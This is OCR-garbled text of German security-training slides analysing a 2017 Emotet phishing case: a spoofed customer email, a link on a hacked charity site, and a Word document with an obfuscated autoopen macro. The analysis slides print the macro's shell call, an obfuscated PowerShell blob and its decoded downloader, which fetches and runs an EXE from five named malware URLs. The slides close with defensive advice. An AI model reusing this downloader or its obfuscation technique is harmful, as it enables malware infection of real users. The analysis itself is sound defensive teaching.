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Vorgeschichte SKYTALE

Folgende Email erreichte heute einen Kunden (,Peter”):

Am 18.89.17, @9:34 schrieb _ <Grzego t.pl>:
cuten Tag, Peter [

anbei findest du den Uberweisungsbeleg, das Geld sollte also bald bei dir auf dem Konto sein. Ebenfalls anbei der Scan der Vereinbarung.

Rech:
http://pasturesnewcharity.org/wp-content/updates/css/5can-5 15/

reter I

Herzliche Grife

Irena




Vorgeschichte SKYTALE

Da der Kunde die Absenderin personlich kannte und unter groBem Stress stand,
klickte er auf den Link und 6ffnete das angehangte Word-Dokument

Offene Frage: Woher stammen die Hintergrund-Informationen?
Anscheinend wusste der Angreifer
« Den Namen und die Email-Adresse einer aktuellen Kundin von ,Peter”.
» Dass ,Peter” und die Kundin sich duzen.

» Dass aktuell zwei Rechnungen offen sind und dass die Kundin den Status der
Rechnungen prifen wollte.



Wohin zeigt der Link? REYTALE

Aktivititen @ Chromium-Webbrowser v Di 14:57 S0 O~

[ Pastures New - car x

Der Link aus der Email e R

YR
/ HOME ABOUT US WHAT WE DO SUCCESS STORIES DONATIONS CONTACT US
# y astares \lew .

http://pasturesnewcharity.org/wp-content/. ..

Make a Donation

gehort zur Webseite einer
gemeinnutzigen Organisation in

UK, die ausgedienten Rennpferden

ra

eine neue Zukunft bieten wollen. SR

PASTURES NEW is a registered charity (no. 1147630) dedicated to the rehabilitation, retraining and re-homing of retired and injured

I I rrx ¢ racehorses
| I I I I l I I l Many horses finish racing every year in the UK. What to do with a racehorse bought with such promise, and at considerable cost, has

become a dilemma for owners who care about their horses. Thorouahbreds need to be retrained in the simple practice of riding and learn to

Vermutlich gehackt? 5




Erste Analyse des Systems SKYTALE

Beim Aufruf des Links wird ein Word-Dokument heruntergeladen:

&t Freigeben -~

ma v 28 Scan-02571617576 [Kompatibilititsmodus]

Einfligen Entwurf Layout Referenzen Sendungen Oberpriifen Ansicht Acrobat

ibri . - - - =L =L =R IE = I )
|“| . Calibri " A~ Av Ka '@ =iz oy *: v 1 AsBoccDdse | AsBbCeDdee  AaBDCCDe AaBbCCDDE  AaBbCcDc 0
Einflgen F K U -abe X, x? & |- L - =l = = ==~ S . - Standard Kein Leerraum  Oberschrift1  Oberschrift 2 Titel s Bs{rm'clh
-ormatvoriagen

n Oﬁlce This document is protected

Open the doc_umenl in If this document was Once you have enabled
Microsoft Office. downloaded from your editing, please click
Previewing online is email, please click 'Enabié Content” from

not available for "Enable Editing™ from
th liow bar above
protected documents the yellow bar above € yellow bar a




Peter ist nicht der erste

Heise Security berichtet aktuell von diesem Fall:

https.//www.heise.de/security/meldung/Achtun
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g-Aktuelle-Spam-Mails-faelschen-Absender-von-
Mitarbeitern-3834782.html

(/l) heise Security News ~ Hintergrund Foren Events

onzke N [} $§ N

Security = News > 7-Tage-News > 2017 > KW 38 > Achtung: Aktuelle Spam-Mails falschen Absender von Mitarbeitern

Achtung: Aktuelle Spam-Mails falschen Absender von
Mitarbeitern UPDATE

18.08.2017 15:13Uhr - Olivia von Westernhagen o ) vorlezen

aasbcenc| Assocenc AaBbC | A 1"
Chunge Eating
T styles =

BJU-dxx [t EEAEE
2 | A TR THomal |7 Mo Spac.. Hessing1

Chpboard & Font Paragragh g Stybes

Change Styles |

. Change the set of styles, colors,
ff . s g
O |C@  This document is proterata s

Open the document i ¥ this document was

Mrosof Office Gawrioaded from your ot
Prevewng anine i emai, please cick ety A iy
oot avaiatie for “Enable Eding’ fom e
prorectea documents the yetlow bot shove e~

Das Word-Dokument bedient sich Social-Enginesring-Strategien, um Empfanger zum Aktivieren

schadlicher Inhalte zu verleiten. (Bild: Screenshot / malwr.com)

Akute Gefahr geht von einer Schadlingswelle aus, die per E-Mail anrollt. Durch eine
clevere Wahl der Absender kénnten auch versierte Anwender verleitet werden,
dem darin enthaltenen Link zu folgen. Er fiihrt zu bislang weitgehend unerkannter
Malware.

Eine aktuelle Spam-Kampagne setzt auf starke Personalisierung: Sie tuscht als
Absender reale E-Mail-Adressen von Mitarbeitern desselben Unternehmens vor.
Neben E-Mails mit eher nichtssagendem Betreff wie "Scan 28923323236" beinhalten
einige Betreffzeilen zusitzlich den Namen des Empfiangers - etwa in der Form "WG:
gescanntes Dokument 14517127599 [Empfénger]".

Der E-Mail-Text enthalt

fozilla Thunderbird

einen Link, hinter dem !

Giabrufen v B verfassen Wichat Badressbuch % Schlagwirter v

SI‘(hJE naclh wonlaUt 4 Allen antworten - = weiterleiten @ Archivieren | & Junk | @ Léschen  Mehr
ein vermeintlicher | EE v |

Dienste

Security Consulter  Emailcheck

Netzwerkcheck Browsercheck
Anti-Virus Krypto-Kampagne
Anzeige

Der Einstieg in professionelle Incident
Response

Gut Vorbereiten, richtig
Reagieren - ein Crash-Kurs fir
Admins in kleinen und
mittleren Unternshmen.

Artikel
Hardware-Fuzzing: Hintertliren und Fehler
in CPUs aufspiiren

Ein Prozessor-Fuzzer analysiert
Hardware, der man
normalerweise blind vertrauen

muss. In ersten Testlaufen wurde

erbeinahezu allen Architekturen fiindig und spurte
etwa undokumentierte CPU-Befehle auf. Sandsifter
ist kostenlos und frei verflighar; der Autor hilft sogar
bei der Analyse.

Die Geschichte von Junipers enteigneter
Hintertiir

In einem mehrfach —

ausgezeichneten Paper liefern
Forscher eine Art Krypto-Krimi.
Sie dokumentieren minutids, wie
der Metzwerkausriister luniner eine vearsteck:



https://www.heise.de/security/meldung/Achtung-Aktuelle-Spam-Mails-faelschen-Absender-von-Mitarbeitern-3834782.html

Virenscanner? RRYILE

Erschreckend - die Analyse unter https://www.virustotal.com ergibt, dass

nur 4 von 58 (1) Virenscannern das Word-Dokument als gefahrlich erkennen.

o 4 engines detected this file °
E SHA-256 4a5d8769935f5126bcadccfd5f0c658fb6e7d41a34475d9b7712d51b3884e2f3
» File name 2017 (19 Sep 17).doc
File size 88.5 KB
(ﬁ) tastanaj{sus 2017-09-19 09:25:20 UTC
— ommunity score -89
Detection Details Community °
Baidu A VBA.Trojan-Downloader.Agent.bzd McAfee A W97M/Downloader.cgs
Qihoo-360 A virus.office.qexvmc.1080 Symantec A Wo7M.Downloader
Ad-Aware 0 Clean AegisLab O Clean
AhnLab-Vv3 o Clean AlYac o Clean
Antiy-AVL Q Clean Arcabit O Clean
Avast 0 Clean Avast Mobile Security O Clean
AVG 9 Clean Avira o Clean
AVware Q Clean BitDefender O Clean
CAT-QuickHeal O Clean ClamAvV o Clean
cMC 9 Clean Comodo o Clean
Cyren Q Clean Drweb 0 Clean
Emsisoft O Clean eScan o Clean
ESET-NOD32 Q Clean F-Prot o Clean 8



https://www.virustotal.com/
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Analyse des Word-Dokuments SKYTALE

Scan-77965282010.doc.Project - LibreOffice Basic x

Das Word-Dokument enthalt —

[(can-77065282010.00c). Project =@ m PP E P B

FTETT——y e T =T o reroTT T T
Ll Loop Until aywtka Or ulbu8b A
° ° == My Macros & Dialogs Do While pAPg = uiA
EHZ5] Standard kjGj9 = RcRpJ5SEW
-
Z Modulel Loop
=3 LibreOffice Macros & Dialogs Loop Until EQihK843H »= jdgM6u7zh
EH[2] 5¢an-77965282010.doc If LTP And zDTs95jo Then
B (5] Project Do

ZVMaQ = gpVStZY + CDb1(5694 / Fix(2674)) + 969 / qtU / (29029482 / CINt(369170378) / IeS + F
(] Forms Loop Until fwHul = MfPe

kryptischen Namen und Variablen. | ‘%

= oNHCI253n WZLdTk = (FEyKr32R9 + Sin(7)) / TRecnd59 - 764 + QNH + 1 / AIB + CSng(179213886 - 177755505]

=» aDiBxaR9 Loop Until gCna Or itsrF2r

< N5tz5F7 Do While ZEMe6zyV5S Or pZx

= AHFXb cICK43472 = 6153

< autoopen Loop

=% Nwow End If

= XDV For pLrj79 = 9845 To 16372676

= J5IM4660 Dim EKrré()

= TyrdRo? ReDim EKrré(2)

== BtcNawFuYna EKrré(e) = 19

= GNcB41 EKrr6(1) = 35586319

= TCNa iAsG2A = NJeLEASX7 - Elgw610

= Joc DOX = sjdkP * 85 * bpTgl25 + Chr(3 * Hex(6G36) / jbBE3Qj9w - CStr(SrD)) * (41 / Sgn(14 / Chru(H
=, WigoDwaLs1 itgwW77838 = 13 * CInt(32 + 65847274) / nfbc * Atn(EhhIo) * 361 + CDate(ottEpp3)

KgMV = MTO * Int(7) * 63 - Sqr(1526) - WLSZ - Sgn(rofjh288s + Fix(Gjm + Hex(9237761) * 395 + S
Set Jwv = YrxB364
Next
End Sub
Sub autoopen()
BtcNawFuYna
End Sub
Sub NwQw(JYgx537)
On Error Resume Next
While 1jwGPg8wj Or uPYUGuN
If zvTqj Or ed0siSx Then
Sxs109 = Rnd(45@)
End IT
For Each bBEh8g31 In zRJy90G
etfs4l = AQgc3004 - CLng(30) * 304679274 + Log(ttTAp - 3 + 1191 / Hex(sIih))

Next hd|

(3] Class Modules
(&3] standard

Wiatch: G
i

Variable [value Type

4
[ 4 » ¥ [ Modulel [ ThisDocument |
5can-77965282010.doc. Project. Modulel. NwQw Ln 145, Col 33 | |




Analyse des Word-Dokuments SKYTALE

Die Funktion “autoopen” wird beim Start ausgeflihrt:

Sub autoopen()
BtcNawFuYna
End Sub

Die aufgerufene Funktion “BtcNawFuYna“ ruft einige kryptische Befehle und Variablen auf:

Public Function BtcNawFuYna()

On Error Resume Next

VBA.Shell $ ™" + CFacgbuM + veTmDPxBBb + zwXWMFF + RczZgzVVR + vbCHyBnvTf + XxPSCDdbT + tvudZgcww + gFSxXPKKEk + PFETVNPNWAT +
yhXMtYVRwmM + ADmXMHbLhRD + TLaXwSV + ActiveDocument.CustomDocumentProperties (" sVUTrmdRcM + CFacgbuM + veTmDPxBBb + zwXWMFF +
RczZgzVVR + vbCHyBnvTf + XXPSCDdbT + tvudZgcww + gFSXPKKEk + PFETVNPNWAT + yhXMtYVRwmM + ADmXMHbLhRD + TLaXwSV +
ActiveDocument.BuiltinDocumentProperties ("Comments") + CFacgbuM + veTmDPxBBb + zwXWMFF + RczZgzVVR + vbCHyBnvTf + XxXPSCDdbT +
tvudZgeww + gFSXPKKEK + PFETVNPNWAT + yhXMtYVRwmM + ADmXMHbLhRD + TLaXwSV + XndxnUNtPe, O

End Function

Alle anderen Funktionen werden nicht aufgerufen, sondern dienen nur der Tauschung / Obfuscation.

1



Analyse des Word-Dokuments SKYTALE

VBA.Shell $ """ + CFacgbuM + veTmDPxBBb + zwXWMFF + RczZgzVVR + vbCHyBnvTf + XXPSCDdbT + tvudZgcww + gFSXPKKEK +
PFETVNPNWAT + yhXMtYVRwmM + ADmXMHbLhRD + TLaXwSV + ActiveDocument.CustomDocumentProperties (" sVUTrmdRcM + CFacgbuM +
veTmDPxBBb + zwXWMFF + RczZgzVVR + vbCHyBnvTf + XXPSCDdbT + tvudZgcww + gFSXPKKEk + PFETVNPNWAT + yhXMtYVRwmM +
ADmXMHbLhRD + TLaXwSV + ActiveDocument.BuiltinDocumentProperties ("Comments") + CFacgbuM + veTmDPxBBb + zwXWMFF +
RczZgzVVR + vbCHyBnvTf + XxPSCDdbT + tvudZgceww + gFSXPKKEK + PFETVNPNWAT + yhXMtYVRwmM + ADmXMHbLhRD + TLaXwSV +
XndxnUNtPe, O

End Function

Properties of “Scan-77965282010" x Properties of “Scan-77965282010" x
AUfrUf CMIS Properties | Security | Foant |  Statistics | CMIS Properties | Security | Fant |  Statistics |
General I Description icu General Description | Custom Properties I
Name |Typ-e |\h|ue | Title: ||
powe rshe I I -e IbChSPFI’ =l IText =] [BnvwHNky g = Subject: |
[bsfGUzXUMDW 7] [Text |x] [HeDNtXHgEzm | == Das
IdchfU [ ITEH =] [ HuknnviDw E Comments: [IABpAG4AVgBvAEs AZ QALAEUAABWAHIARQBZAH |
aus dem Makro ~ [#o [ Eemn = Kommentarfeld ORI e o
[Fms VRwx =] Jrext x| |PnhTtZmCAY H e nth alt e | nen AMQADAG UAMO AwADUALQ AxADEAMgALADEAMOQA
heraus — =l = T = 2AG KAMWAYAFBANG AXAFKAMWAYAFKAMQ AXADAA
. | csVRgETEm J | e J | a =] . QAXADAAME BiADEAMOQAS ACDANAATAHQAMQ AxA
- — DEAZ QASADgAXwAXADAANG B OADEAMAAXAHOAO
Ba8664 kOdIerten DhSﬁHDﬁMQgAxﬁg‘mZ Qm%mz QADADUADARZA
EVUTmdReM v | IText x| |powershell - . DcAQAAXADEAMOQB pADEAMAAS AG 0 ANWAS AFKAD
Versteckt in d — String. DEAMOAACOAMWAACOAOAASA KADAAATKADD |
Q W
erstec In daen — ASAGoAMOQAXADQAZ QAxADAANG B qADEAMG AyAC
. [BZempmviz ] [Text x| |rZWsDx === DAMOARADYAZ QADADYANG AL ADMAY g AxADAANAR
ElgenSChaﬁen deS FADEAMAAXAFSAMO AwADGAY g AXADAADAB pADUA
Ml DQALADMANGBAADEAMQAS ACOAMOANADEAWDA | _
- SANN AR ASADKAWD Ax ANBAD AL ANF AMARAT AG KA
Dokuments.
Help | oK Cancel | Reset | Help | oK Cancel | Beset |

Alle ubrigen Ausdriicke laufen auf einen Fehler, der aber ignoriert &induf Tauschung



Dekodieren des Base64 Codes SKYTALE

1) Decode: perl -MMIME::Base64 -ne "print decode base64($ )" < file

inVoKe-ExprEssiOn(-JOin('36e119,115,99@114e105-112-116i32_61Y32Y110i101b119-45t111€98_106t101t99t116e32e45@67@111i109j79Y98e106j101i99@116j32-87Y83Y99j114e105{112-
116i46Y83b104_101_108b108i59-36@119-101Y98i99Y108-105i101b110j116i32,61_32t110-101t119e45Y111b98,106j101_99b116Y32e83Y121@115-116e101_109i46_78_101-116,46-
87b101@98b67Y108_105-101i110j116,59@36b114Y97-110t100_111-109,32j61t32@110e101@119,45i111-98Y106b101€99b116j32j114j97j110t100Y111_109e59j36-117t114j108@115b32t61e32-
39_104_116_116b112b58@47@47i100@111@119b110e108b111t119_112i105,99,116t117b114@101b115-46Y99e111@109b47e84_106t80Y69t87i97@75b108@47j44-104e116t116@112_58,47_47@101-
116@104,101j114b51_46e99i111t109t47Y88e97Y70Y75Y118t98e47e44i104,116i116_112-58t47i47@100b97-110i97_104@105-116-
97Y46,119j101_98t46j105)100i47_120i121t99,117b90Y86t82i47@44j104-116Y116Y112b58@47b47b100j106-97Y110j103-111_46j99Y111e46@106-
112e47,102e77j114@89t102_47_44@104Y116@116i112e58i47@47@104@111_116i98b111j120Y100,105Y103-105Y116t97,108b46,99e111_109@47-113j90@47Y39_46-83_112-108-
105b116b40b39i44t39-41Y59-36_110j97e109t101i32-61i32t36b114_97@110-100i111_109Y46b110_101i120,116@40Y49_44-32¢54,53-53@51j54-41Y59j36-112,97e116Y104t32Y61t32-
36@101b110,118@58-116i101-109b112e32@43-32b39_92t39e32e43t32t36e110t97@109e101Y32Y43j32e39-46,101i120@101-39e59-102i111,114,101b97i99@104@40b36-
117,114Y108,32j105_110b32j36t117b114108-115t41e123,116@114i121i123e36@119_101@98i99j108j105_101@110b116-46e68b111@119-110-108e111-
97j100i70,105@108@101Y40i36@117e114j108_46t84e111_83t116_114_105-110,103_40@41j44j32b36-112-97j116-104_41@59i83Y116§97,114b116e45b80,114_111_99,101e115-115-
32_36@112j97,116j104,59@98_114i101,97t107@59i125,99-
97i116i99@104e123,119t114@105t116t101e45j104t111@115Y116j32j36t95t46i69_120@99,101_112i116_105,111_110j46i77_101,115t115_97j103@101b59_125i125".SplIT('Ybe@-j,t_i" ) [fOrEaCH-OBjECt{(
[chAr][int] $)}))

2) Aufruf des leicht angepassten Befehls in der PowerShell:

Ersetzt man "inVoKe-ExprEssiOn(" duch "echo" und entfernt man die letzte Klammer (um die Syntax zu gewéhrleisten), kann man sich den in der Powershell nochmals kodierten Text ausgeben lassen:

13



Dekodieren des Base64 Codes SKYTALE

Ergebnis nach der zweiten Dekodierung:

swscript=new-object-ComObjectWScript.Shell;

$webclient=new-objectSystem.Net.WebClient;

$random=new-objectrandom;

$urls="http://downlowpictures.com/TjPEWaKl/, http://ether3.com/XaFKvb/, http://danahita.web.id/xycuZVR/,
http://django.co.jp/tTMrYf/ http://hotboxdigital.com/qZ/" .5Split(',");

$name=$random.next(1,65536);

$path=$env:temp+'\'+$name+' .exe’;

foreach($urlins$urls)

Try

$webclient.DownloadFile($url.ToString(),$path);

Start-Process$path;

break;
by
Catch
{
write-host$ .Exception.Message;
}

Der VBS-Code ladt also eine EXE-Datei von einem der fiinf Server nach und fihrt diese aus
14



Analyse der EXE-Datei REXIALE

eine ausreichende Erkennung unter virustotal oder malwr :

itier © Feetonte e malwr %

VirusTotal - Mozilla Firefox x Quick Overview 4 _riate |
- . Tags: None
21 VirusTotal x |+ Static Analysis
€ ) ® A |https ¢ ||Q Search wBa & # = Behavioral A Analysis
N Network Analysis CATEGORY STARTED COMPLETED DURATION
earch or scan a URL, IP addre yain, or file hast Q signin
Z T = Dropped Files FILE 2017-09-19 06:35:14 2017-09-19 06:37:32 138 seconds
Comment Board (0)
° File Details
FALE  ckKexe
aagenvt2aa7fbb6ec2973bc88473965b1be0e033 NAME
File nam ;
File name 26012120.exe FILE 102400 bytes
File size 100 KB size
Lastanalysis  UTC FILE  PE32 executable (GUI) Intel 80386, for MS Windows
TYPE
MD5  5f616070038471d243cicef466c434bd
SHA1  TicDabede!Bbf1143307a4929767 15628880318
Detection Details Community
SHAZS6  66aaTdd1d524e90986¢50262aa984602aaTfbbbec29T3bcBB473965b1be0=033
SHAS12  ba283374886ab270a451d01467cch 19dB19c3626b48T 817 5aT b 120594c7 d03826febbacd5 7524486 192c901ac3de3d1e57820/9d326ci70833:
CcRC2  43B105D2
SSDEEP  1536:b4bDsRENHxyY+YyhQ2xh 11AHIBITBY S/ MbIBIGAHKK
YARA None matched
VirusTotal Community Tools Documentation
Contact Us Join Community API Scripts Get Started
WTRT taandc ant o cct

Signatures

ie EXE den —

anking-Trojaner Emotet !

aut Heise-Artikel enthalt d

Domains

No hosts contacted No domains contacted

https://malwr.com/analysis/ZDU3MzgwODc3ZjY 1NDBKYzg4OGRKMDVIiM]A5Z|JEOMTQ/



https://malwr.com/analysis/ZDU3MzgwODc3ZjY1NDBkYzg4OGRkMDViMjA5ZjE0MTQ/
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KYTALE
Was tun? SKYTALE

« Kontrollieren Sie immer den Absender, auch wenn Sie ihn kennen.

Im vorliegenden Fall kam die Mail angeblich von der Kundin ,Irena“, aber bei genauem Hinsehen von Grzegor aus Polen (.pl)

Am 18.09.17, 09:34 schricb "Irens [ < <o !

* Prufen Sie die Links, auf die Sie klicken, vorher.

(Land, Kontext, Verschliisselung usw.)

 Schulen Sie sich und Ihre Mitarbeiter in Sachen Internet Security.

Sprechen Sie uns an.
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Weiterbildung ist die beste Verteidigung.

Kontakt:
max.ziegler@skytale.academy
https://skytale.academy

02941 /660 96 90



